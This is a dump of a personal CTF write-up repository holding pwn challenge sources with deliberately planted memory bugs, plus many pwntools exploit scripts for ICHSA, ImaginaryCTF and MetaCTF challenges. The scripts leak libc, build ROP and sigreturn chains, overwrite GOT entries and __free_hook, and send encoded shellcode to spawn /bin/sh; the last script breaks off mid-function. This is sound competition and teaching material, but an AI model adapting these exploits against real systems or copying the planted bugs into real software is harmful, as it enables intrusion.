-------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/epic_game.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define BUFFER_SIZE (64) 12 | #define NAME_MAX_SIZE (12) 13 | #define TYPE_MAX_SIZE (15) 14 | #define POINTS_FOR_FLAG ((uint32_t)(1<<31)-1) 15 | #define LUCK_LIMIT ((uint64_t)(1ULL<<60)) 16 | 17 | typedef struct _player{ 18 | char name[NAME_MAX_SIZE+1]; 19 | char player_type[NAME_MAX_SIZE+1]; 20 | uint32_t game_points; 21 | uint32_t health_points; 22 | uint32_t strength; 23 | uint32_t shield; 24 | uint64_t luck; 25 | }player; 26 | 27 | typedef struct _enemy{ 28 | char name[NAME_MAX_SIZE+1]; 29 | uint32_t health_points; 30 | uint32_t strength; 31 | uint32_t shield; 32 | }Enemy; -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/epic_game_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./app.out', env={"LD_PRELOAD":"./libc.so.6"}) 4 | 5 | #pid = gdb.attach(target, "\nb *log_error+100\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('epic_game.ichsa.ctf.today', 8007) 8 | 9 | libc = ELF('libc.so.6') 10 | 11 | #gadgets: 12 | curr = p64(0x004044c8) 13 | write_to_log = p64(0x004044c0) 14 | error_log = p64(0x004040c0) 15 | 16 | 17 | print(target.recvuntil(b'Your Choice:')) 18 | 19 | #It will just pick my player type at random. 20 | #I am already starting to send it information that will fill error_log to reduce my interactions with the server. 21 | 22 | target.sendline(b'a' * 0x3e) 23 | 24 | print(target.recvuntil(b'Choose your character name (limit to 12 chars)')) 25 | 26 | target.sendline(b'a' * 0x3e) 27 | 28 | print(target.recvuntil(b'number is ')) 29 | result = target.recvuntil(b'You') 30 | 31 | leak = result.replace(b'\nYou', b'') 32 | print('leak is', hex(int(leak))) 33 | 34 | rand_libc = int(leak) 35 | 36 | libc_base = rand_libc - libc.symbols['rand'] 37 | 38 | system_libc = libc_base + libc.symbols['system'] 39 | 40 | 41 | for i in range(15): 42 | 43 | print(target.recvuntil(b'Your Choice:', timeout=1)) 44 | target.sendline(b'a' * 0x3b) 45 | 46 | print(target.recvuntil(b'Your Choice:', timeout=1)) 47 | 48 | padding = b'a' * 6 49 | curr_payload = padding 50 | 51 | #\x49 gets puts 52 | #\x51 is strlen 53 | #\xa9 is strtoul 54 | curr_payload += b'\xa9' + b'\xff' * 7 55 | #This is setting the value in curr, which controls where my next write goes 56 | target.sendline(curr_payload) 57 | 58 | #This is setting the GOT entry for strtoul to system 59 | print(target.recvuntil(b'Your Choice:', timeout=1)) 60 | target.sendline(p64(system_libc)) 61 | 62 | #When strtoul is called on our input, we get system(/bin/sh) instead! 63 | print(target.recvuntil(b'Your Choice:', timeout=1)) 64 | target.sendline(b'/bin/sh\x00') 65 | 66 | target.interactive() 67 | 68 | -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/flag.txt: -------------------------------------------------------------------------------- 1 | ICHSA_CTF{TEST_TEST_TEST_TEST_TEST_TEST_TEST_TEST_TEST_TEST_TEST} -------------------------------------------------------------------------------- /pwn_challs/ICHSA_CTF_21/Epic_Game/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/ICHSA_CTF_21/Epic_Game/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/speedrun/speedrun.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import subprocess 6 | import base64 7 | import random 8 | import uuid 9 | import time 10 | 11 | code1 = ''' 12 | #include 13 | 14 | int main(void) { 15 | char inp[''' 16 | 17 | code2 = ''']; 18 | setvbuf(stdout,NULL,2,0); 19 | setvbuf(stdin,NULL,2,0); 20 | gets(inp); 21 | puts("Thanks!"); 22 | } 23 | ''' 24 | 25 | art = ''' 26 | ██████████████████████████ 27 | █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ 28 | █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ 29 | █▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ 30 | █▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ 31 | █░░░██████▒▒▒░░░██████▒▒▒█ 32 | █░░░██████▒▒▒░░░██████▒▒▒█ 33 | █▒▒▒██████░░░▒▒▒██████░░░█ 34 | █▒▒▒██████░░░▒▒▒██████░░░█ 35 | █░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ 36 | █░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ 37 | █▒▒▒░░░████████████▒▒▒░░░█ 38 | █▒▒▒░░░████████████▒▒▒░░░█ 39 | █░░░▒▒▒████████████░░░▒▒▒█ 40 | █░░░▒▒▒████████████░░░▒▒▒█ 41 | █▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ 42 | █▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ 43 | █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ 44 | █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ 45 | ██████████████████████████ 46 | ''' 47 | 48 | def compile(size): 49 | filename = "/tmp/bin" + str(uuid.uuid4()) 50 | open(filename + ".c", "w").write(code1 + str(size) + code2) 51 | subprocess.run(["gcc", "-o", filename, filename + ".c", "-fno-stack-protector", "-no-pie"], capture_output=True) 52 | os.remove(filename + ".c") 53 | return filename 54 | 55 | def handler(signum, frame): 56 | print("Out of time!") 57 | 58 | filename = compile(random.randint(20,1000)) 59 | binary = base64.b64encode(open(filename, "rb").read()).decode() 60 | print(art) 61 | print("I'll see you after you defeat the ender dragon!") 62 | 63 | time.sleep(3) 64 | 65 | print("---------------------------BEGIN DATA---------------------------") 66 | print(binary) 67 | print("----------------------------END DATA----------------------------") 68 | 69 | subprocess.run([filename], stdin=sys.stdin, timeout=10) 70 | os.remove(filename) 71 | -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/speedrun/speedrun_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | target = remote('chal.imaginaryctf.org', 42020) 5 | libc = ELF('libc6_2.28-10_amd64.so') 6 | 7 | elf = ELF('speedrun_elf_remote') 8 | 9 | 10 | pop_rdi = p64(0x000000000040120b) # : pop rdi ; ret 11 | ret = p64(0x0000000000401016) # : ret 12 | 13 | padding = ret * 200 14 | 15 | payload = padding 16 | payload += pop_rdi 17 | payload += p64(elf.got['gets']) 18 | payload += p64(elf.symbols['puts']) 19 | payload += p64(elf.symbols['main']) 20 | 21 | target.sendline(payload) 22 | 23 | print(target.recvuntil(b'Thanks!\n')) 24 | result = target.recv(6) 25 | print(result) 26 | gets_libc = u64(result + b'\x00' * 2) 27 | print(hex(gets_libc)) 28 | 29 | libc_base = gets_libc - libc.symbols['gets'] 30 | binsh = libc_base + next(libc.search(b'/bin/sh\x00')) 31 | 32 | #Who knows why, but it only accepts execve, not system. It's always worth it to try both! 33 | system = libc_base + libc.symbols['execve'] 34 | 35 | pop_rsi_r15 = p64(0x0000000000401209) # : pop rsi ; pop r15 ; ret 36 | 37 | 38 | payload2 = padding 39 | payload2 += pop_rdi 40 | payload2 += p64(binsh) 41 | payload2 += pop_rsi_r15 + p64(0) * 2 42 | payload2 += p64(system) 43 | 44 | target.sendline(payload2) 45 | 46 | 47 | target.interactive() 48 | -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/stackoverflow/stackoverflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/Imaginary_CTF/stackoverflow/stackoverflow -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/stackoverflow/stackoverflow_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./stackoverflow') 4 | 5 | target = remote('chal.imaginaryctf.org', 42001) 6 | 7 | print(target.recvuntil(b'color?')) 8 | 9 | payload = b'a' * 40 10 | payload += p64(0x69637466) 11 | print(payload) 12 | 13 | target.sendline(payload) 14 | 15 | target.interactive() 16 | 17 | #ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa} 18 | -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_1/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/Imaginary_CTF/string_editor_1/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_1/string_editor_1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/Imaginary_CTF/string_editor_1/string_editor_1 -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_1/string_editor_1_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #For local debugging 4 | #target = process('./string_editor_1', env={"LD_PRELOAD":"./libc.so.6"}) 5 | #pid = gdb.attach(target, "\nb *main+394\nb *main+268\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('chal.imaginaryctf.org', 42004) 8 | 9 | libc = ELF('libc.so.6') 10 | 11 | print(target.recvuntil(b'sponsors: ')) 12 | leak = target.recv(14) 13 | system = int(leak, 16) 14 | print(hex(system)) 15 | libc_base = system - libc.symbols['system'] 16 | free_hook = libc_base + libc.symbols['__free_hook'] 17 | print(hex(free_hook)) 18 | 19 | #My failed onegadget experiment! I left it in for posterity. 20 | onegadget1 = libc_base + 0xe6e73 21 | onegadget2 = libc_base + 0xe6e76 22 | onegadget3 = libc_base + 0xe6e79 23 | print('onegadget 1 at', hex(onegadget1)) 24 | print('onegadget 2 at', hex(onegadget2)) 25 | print('onegadget 3 at', hex(onegadget3)) 26 | 27 | # 28 | print(target.recvuntil(b'pallette)')) 29 | target.sendline(b'0') 30 | print(target.recvuntil(b'index?')) 31 | target.sendline(b'a') 32 | 33 | print(target.recvuntil(b'DEBUG: ')) 34 | leak = target.recv(14) 35 | 36 | #Determining the index that I need to enter 37 | overwrite_base = int(leak, 16) 38 | offset = free_hook - overwrite_base 39 | #Now divide the onegadget into 6 bytes: 40 | 41 | 42 | payload = p64(system) 43 | #Overwrite the rdi passed to free, one character at a time: 44 | line = b'/bin/sh\x00' 45 | for i in range(8): 46 | print(target.recvuntil(b'pallette)')) 47 | target.sendline(str(i).encode('ascii')) 48 | print(target.recvuntil(b'index?')) 49 | target.sendline(line[i].to_bytes(1, 'little')) 50 | 51 | #Since libc addresses are only 6 bytes long, I can save a little bit of time by only overwriting 6 bytes. 52 | for i in range(6): 53 | payload_part = payload[i].to_bytes(1, 'little') 54 | print(payload_part) 55 | final_offset = offset + i 56 | print(target.recvuntil(b'pallette)')) 57 | target.sendline(str(final_offset).encode('ascii')) 58 | print(target.recvuntil(b'index?')) 59 | target.sendline(payload_part) 60 | 61 | print(target.recvuntil(b'pallette)')) 62 | target.sendline(b'15') 63 | 64 | target.interactive() 65 | 66 | #ictf{alw4ys_ch3ck_y0ur_1nd1c3s!_4e42c9f2} 67 | -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_2/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/Imaginary_CTF/string_editor_2/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_2/string_editor_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/Imaginary_CTF/string_editor_2/string_editor_2 -------------------------------------------------------------------------------- /pwn_challs/Imaginary_CTF/string_editor_2/string_editor_2_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./string_editor_2') #, env={"LD_PRELOAD":"./libc.so.6"}) 4 | #pid = gdb.attach(target, "\nb *del\n set disassembly-flavor intel\ncontinue") 5 | 6 | target = remote('chal.imaginaryctf.org', 42005) 7 | 8 | libc = ELF('libc.so.6') 9 | elf = ELF('string_editor_2') 10 | 11 | 12 | #Gadgets: 13 | 14 | target_global = 0x601080 15 | 16 | printf_got = elf.got['printf'] 17 | strcpy_got = elf.got ['strcpy'] 18 | printf_plt = elf.symbols['printf'] 19 | 20 | #%13$p leaks __libc_start_main+243 21 | payload = b'%13$p%14$p' 22 | for i in range(len(payload)): 23 | print(target.recvuntil(b'utils', timeout=1)) 24 | target.sendline(str(i).encode('ascii')) #(str(puts_got - target_global).encode('ascii')) 25 | print(target.recvuntil(b'index?')) 26 | target.sendline(payload[i].to_bytes(1, 'little')) 27 | 28 | #Now to overwrite GOT entry 29 | payload = p64(printf_plt) 30 | 31 | for i in range(6): 32 | print(target.recvuntil(b'utils', timeout=1)) 33 | target.sendline(str(strcpy_got - target_global + i).encode('ascii')) 34 | print(target.recvuntil(b'index?')) 35 | target.sendline(payload[i].to_bytes(1, 'little')) 36 | 37 | print(target.recvuntil(b'utils', timeout=1)) 38 | target.sendline(b'15') 39 | print(target.recvuntil(b'3. Exit\n')) 40 | target.sendline(b'2') 41 | 42 | leak = target.recv(14) 43 | print(leak) 44 | 45 | 46 | libc_start_main = int(leak, 16) - 243 47 | print(hex(libc_start_main)) 48 | 49 | libc_base = libc_start_main - libc.symbols['__libc_start_main'] 50 | system = libc_base + libc.symbols['system'] 51 | print(hex(system)) 52 | 53 | #Now to call system(/bin/sh) 54 | 55 | payload = b'/bin/sh\x00' 56 | for i in range(len(payload)): 57 | print(target.recvuntil(b'utils', timeout=1)) 58 | target.sendline(str(i).encode('ascii')) 59 | print(target.recvuntil(b'index?')) 60 | target.sendline(payload[i].to_bytes(1, 'little')) 61 | 62 | payload = p64(system) 63 | 64 | for i in range(6): 65 | print(target.recvuntil(b'utils', timeout=1)) 66 | target.sendline(str(strcpy_got - target_global + i).encode('ascii')) 67 | print(target.recvuntil(b'index?')) 68 | target.sendline(payload[i].to_bytes(1, 'little')) 69 | 70 | print(target.recvuntil(b'utils', timeout=1)) 71 | target.sendline(b'15') 72 | print(target.recvuntil(b'3. Exit\n')) 73 | target.sendline(b'2') 74 | 75 | target.interactive() 76 | 77 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Little_Boi/binsh_string_ghidra.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Little_Boi/binsh_string_ghidra.png -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Little_Boi/little: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Little_Boi/little -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Little_Boi/little_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./little') 4 | 5 | #pid = gdb.attach(target, "\nb *0x0040100f\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('host1.metaproblems.com', 5460) 8 | 9 | 10 | syscall = 0x000000000040100d 11 | syscall_pop_rax = p64(0x0000000000401007) 12 | binsh = 0x00402000 13 | 14 | padding = b'' 15 | payload = padding 16 | 17 | payload += syscall_pop_rax 18 | payload += p64(0xf) 19 | 20 | # Specify the architecture 21 | context.arch = "amd64" 22 | 23 | frame = SigreturnFrame() 24 | 25 | frame.rip = syscall 26 | frame.rdi = binsh 27 | frame.rax = 59 28 | frame.rsi = 0 29 | frame.rdx = 0 30 | 31 | payload += bytes(frame) 32 | print(bytes(frame)) 33 | 34 | target.sendline(payload) 35 | 36 | target.interactive() 37 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Tic_Tac_Toe/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Tic_Tac_Toe/chall -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Tic_Tac_Toe/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | 11 | void setup(){ 12 | setvbuf(stdout, 0, _IONBF, 0); 13 | setvbuf(stdin, 0, _IONBF, 0); 14 | setvbuf(stderr, 0, _IONBF, 0); 15 | } 16 | 17 | 18 | int determine_winner(char a){ 19 | switch(a){ 20 | case 'X': 21 | case 'x': 22 | return 1; 23 | case 'o': 24 | case 'O': 25 | case '0': 26 | return 2; 27 | default: 28 | break; 29 | } 30 | return -1; 31 | } 32 | 33 | // A function that returns 1 for X row match and 2 for O row match 34 | int rowCrossed(char board[][3]) 35 | { 36 | for (int i=0; i<3; i++) 37 | { 38 | if (board[i][0] == board[i][1] && 39 | board[i][1] == board[i][2] && 40 | board[i][0] != ' ') 41 | return determine_winner(board[i][0]); 42 | } 43 | return 0; 44 | } 45 | 46 | // A function that returns 1 for X column match and 2 for O column match 47 | int columnCrossed(char board[][3]) 48 | { 49 | for (int i=0; i<3; i++) 50 | { 51 | if (board[0][i] == board[1][i] && 52 | board[1][i] == board[2][i] && 53 | board[0][i] != ' ') 54 | return determine_winner(board[0][i]); 55 | } 56 | return 0; 57 | } 58 | 59 | // A function that returns 1 for X crossing diagonal and 2 for O crosing diagnol 60 | int diagonalCrossed(char board[][3]) 61 | { 62 | if (board[0][0] == board[1][1] && 63 | board[1][1] == board[2][2]) 64 | return determine_winner(board[0][0]); 65 | 66 | if (board[0][2] == board[1][1] && 67 | board[1][1] == board[2][0]) 68 | return determine_winner(board[0][2]); 69 | 70 | return 0; 71 | } 72 | 73 | void print_winner(int winner){ 74 | switch(winner){ 75 | case 0: 76 | puts("The game is a CAT"); 77 | break; 78 | case 1: 79 | puts("X's win the game"); 80 | break; 81 | case 2: 82 | puts("O's win the game"); 83 | break; 84 | default: 85 | puts("Something went wrong"); 86 | } 87 | } 88 | 89 | 90 | //function that reads in the board from the user 91 | int read_board(){ 92 | char board[3][3]; 93 | char counter = 0; 94 | 95 | //read the board in 96 | while (counter < 9){ 97 | while(1){ 98 | read(0, (char*)board+counter++, 1); 99 | 100 | if (*((char *)board+counter-1) == '\n') 101 | { 102 | counter--; 103 | continue; 104 | } 105 | //checks for the last character to be o,O,0,x,X 106 | //I was a bit lazy in the checks though, so you need to be consistant when using characters 107 | //Or the program won't match correctly 108 | if (*((char*)board + counter-1) == 'o' || *((char*)board + counter-1) == 'O' ||*((char*)board + counter-1) == '0' || *((char*)board + counter-1) == 'x' || *((char*)board + counter-1) == 'X'){ 109 | break; 110 | } 111 | puts("Bad Character, try again"); 112 | } 113 | } 114 | 115 | //now the whole board has been read in, check for a column winner 116 | if (columnCrossed(board)) 117 | print_winner(columnCrossed(board)); 118 | if (rowCrossed(board)) 119 | print_winner(rowCrossed(board)); 120 | if (diagonalCrossed(board)) 121 | print_winner(diagonalCrossed(board)); 122 | 123 | 124 | print_winner(0); 125 | } 126 | 127 | 128 | int main(){ 129 | setup(); 130 | puts("Check out this sweet Tic-Tac-Toe Solver I made!"); 131 | puts("All you have to do is to input your array into the system and I'll tell you who won"); 132 | puts("You can enter them all at once, or one at a time if you prefer"); 133 | read_board(); 134 | _exit(0); 135 | 136 | } 137 | 138 | //Useless function when you think about it, because it's impossible to get here... Right? 139 | void win(){ 140 | int fd; 141 | char buffer[100]; 142 | fd = open("./flag.txt",0); 143 | read(fd, buffer,100); 144 | write(1,buffer,100); 145 | _exit(0); 146 | } 147 | 148 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Tic_Tac_Toe/tic_tac_toe_Release.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Tic_Tac_Toe/tic_tac_toe_Release.tar.gz -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Tic_Tac_Toe/tic_tac_toe_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./chall') 4 | 5 | #pid = gdb.attach(target, "\nb *read_board+29\nb *read_board+352\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('host.cg21.metaproblems.com', 3120) 8 | 9 | print(target.recvuntil(b'time if you prefer')) 10 | 11 | payload = (b'a' * 9 + b'\x12' + b'\x4f') 12 | 13 | target.sendline(payload) 14 | 15 | target.interactive() 16 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Two's_Compliment/two: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Two's_Compliment/two -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Two's_Compliment/two_compliment.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Two's_Compliment/two_compliment.tar.gz -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Two's_Compliment/two_compliment_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./two') 4 | 5 | #pid = gdb.attach(target, "\nb *main+363\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('host1.metaproblems.com', 5480) 8 | 9 | print(target.recvuntil(b'What is your shellcode?')) 10 | 11 | context.clear(arch='amd64') 12 | 13 | def encode(goal_shellcode, starting_position): 14 | evened_shellcode = b'' 15 | encoder_shellcode = b'' 16 | current_position = starting_position 17 | for i in range(len(goal_shellcode)): 18 | current_byte_num = goal_shellcode[i] 19 | if current_byte_num % 2 == 1: 20 | evened_shellcode += (current_byte_num - 1).to_bytes(1, 'little') 21 | if current_position % 2 == 0: 22 | encoder_shellcode += asm('mov al, ' + str(current_position) + '''; 23 | inc BYTE PTR ds:[rax];''') 24 | else: 25 | encoder_shellcode += asm('mov al, ' + str(current_position - 1) + '''; 26 | inc al; 27 | inc BYTE PTR ds:[rax];''') 28 | 29 | else: 30 | evened_shellcode += goal_shellcode[i].to_bytes(1, 'little') 31 | current_position += 1 32 | final_shellcode = encoder_shellcode + asm('NOP;') * (starting_position - len(encoder_shellcode)) + evened_shellcode 33 | return final_shellcode 34 | 35 | 36 | starting_position = 0x80 37 | 38 | #Credit to http://shell-storm.org/shellcode/files/shellcode-806.php for the pre-prepared binsh shellcode. 39 | goal_shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' 40 | 41 | shellcode = encode(goal_shellcode, starting_position) 42 | 43 | print(shellcode) 44 | print(disasm(shellcode)) 45 | 46 | target.sendline(shellcode) 47 | 48 | target.interactive() 49 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Unionized/chall -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/chall_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Unionized/chall_patched -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct created{ 10 | int type; 11 | int size; 12 | 13 | union Variable { 14 | char * string; 15 | int integer; 16 | long long long_boi; 17 | char character; 18 | 19 | } variable; 20 | void (*print)(); 21 | struct created *next; 22 | }; 23 | 24 | struct created * head; 25 | 26 | void setup(){ 27 | setvbuf(stdout, 0, _IONBF, 0); 28 | setvbuf(stdin, 0, _IONBF, 0); 29 | setvbuf(stderr, 0, _IONBF, 0); 30 | } 31 | 32 | void display_string(struct created *tmp){ 33 | printf("%s\n", tmp->variable.string); 34 | } 35 | void display_int(struct created *tmp){ 36 | printf("%d\n", tmp->variable.integer); 37 | } 38 | void display_long(struct created *tmp){ 39 | printf("%lld\n", tmp->variable.long_boi); 40 | } 41 | void display_character(struct created *tmp){ 42 | printf("%c\n", tmp->variable.character); 43 | } 44 | 45 | void create_variable(struct created *tmp){ 46 | while(1){ 47 | int choice; 48 | 49 | puts("What type would you like?\n"); 50 | puts("1. String"); 51 | puts("2. Integer"); 52 | puts("3. Long Long"); 53 | puts("4. Character"); 54 | scanf("%d", &choice); 55 | 56 | switch(choice){ 57 | int size; 58 | //char *string_alloc; 59 | case 1: 60 | while(1){ 61 | printf("What size would you like your string to be\n"); 62 | scanf("%d", &size); 63 | if(tmp->size < size) 64 | { 65 | tmp->variable.string = malloc(size); 66 | tmp->size = size; 67 | } 68 | if(!tmp->variable.string){ 69 | printf("Allocation failed Try again\n"); 70 | sleep(1); 71 | continue; 72 | } 73 | break; 74 | } 75 | printf("What is your data\n"); 76 | read(0, tmp->variable.string, tmp->size); 77 | tmp->type = 1; 78 | tmp->print = display_string; 79 | 80 | break; 81 | case 2: 82 | printf("What is your value:\n"); 83 | scanf("%d", &tmp->variable.integer); 84 | tmp->type = 2; 85 | tmp->print = display_int; 86 | break; 87 | case 3: 88 | printf("What is your value:\n"); 89 | scanf("%lld", &tmp->variable.long_boi); 90 | tmp->type = 3; 91 | tmp->print = display_long; 92 | break; 93 | case 4: 94 | printf("What is your value:\n"); 95 | scanf(" %c", &tmp->variable.character); 96 | tmp->print = display_character; 97 | tmp->type = 4; 98 | break; 99 | default: 100 | puts("Bad choice"); 101 | sleep(1); 102 | continue; 103 | } 104 | break; 105 | } 106 | 107 | } 108 | 109 | void create(){ 110 | struct created * tmp = calloc(1,sizeof(struct created)); 111 | 112 | if (head == NULL){ 113 | head = tmp; 114 | } 115 | else{ 116 | struct created *walker = head; 117 | while(walker->next){ 118 | walker = walker->next; 119 | } 120 | walker->next = tmp; 121 | } 122 | create_variable(tmp); 123 | } 124 | 125 | void edit(){ 126 | struct created * walker = head; 127 | printf("What index would you like to modify?\n"); 128 | int choice = 0; 129 | scanf("%d", &choice); 130 | int counter = 0; 131 | 132 | while(walker && counter != choice){ 133 | counter++; 134 | walker = walker->next; 135 | } 136 | if(counter != choice || !walker) 137 | { 138 | puts("Index not found\n"); 139 | sleep(1); 140 | return; 141 | } 142 | create_variable(walker); 143 | puts("Variable created"); 144 | sleep(1); 145 | } 146 | 147 | void display(){ 148 | struct created * walker = head; 149 | int counter = 0; 150 | while(walker){ 151 | walker->print(walker); 152 | counter++; 153 | walker = walker->next; 154 | } 155 | } 156 | 157 | void win(){ 158 | system("/bin/sh"); 159 | } 160 | 161 | void delete(){ 162 | puts("Not implemented"); 163 | return; 164 | } 165 | 166 | void menu(){ 167 | printf("What would you like to do?\n"); 168 | puts("1. Create new object"); 169 | puts("2. Display objects"); 170 | puts("3. Edit Object"); 171 | puts("4. Delete Object"); 172 | puts("5. Exit"); 173 | } 174 | 175 | int main(){ 176 | int choice; 177 | setup(); 178 | while(1){ 179 | menu(); 180 | scanf("%d", &choice); 181 | switch(choice){ 182 | case 1: 183 | create(); 184 | break; 185 | case 2: 186 | display(); 187 | break; 188 | case 3: 189 | edit(); 190 | break; 191 | case 4: 192 | delete(); 193 | break; 194 | case 5: 195 | exit(0); 196 | break; 197 | default: 198 | printf("Unkown command"); 199 | } 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/ld-2.28.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Unionized/ld-2.28.so -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/libc-2.28.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Unionized/libc-2.28.so -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/unionized_Release.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/MetaCTF21/Unionized/unionized_Release.tar.gz -------------------------------------------------------------------------------- /pwn_challs/MetaCTF21/Unionized/unionized_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./chall_patched', env={"LD_PRELOAD":"./libc-2.28.so"}) 4 | 5 | #pid = gdb.attach(target, "b *display+32\nb *create_variable+314\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('host.cg21.metaproblems.com', 3150) 8 | 9 | elf = ELF('chall') 10 | 11 | 12 | def create_string(length, content): 13 | 14 | print(target.recvuntil(b'5. Exit')) 15 | target.sendline(b'1') 16 | print(target.recvuntil(b'What type would you like?')) 17 | target.sendline(b'1') 18 | print(target.recvuntil(b'like your string to be')) 19 | target.sendline(str(length)) 20 | 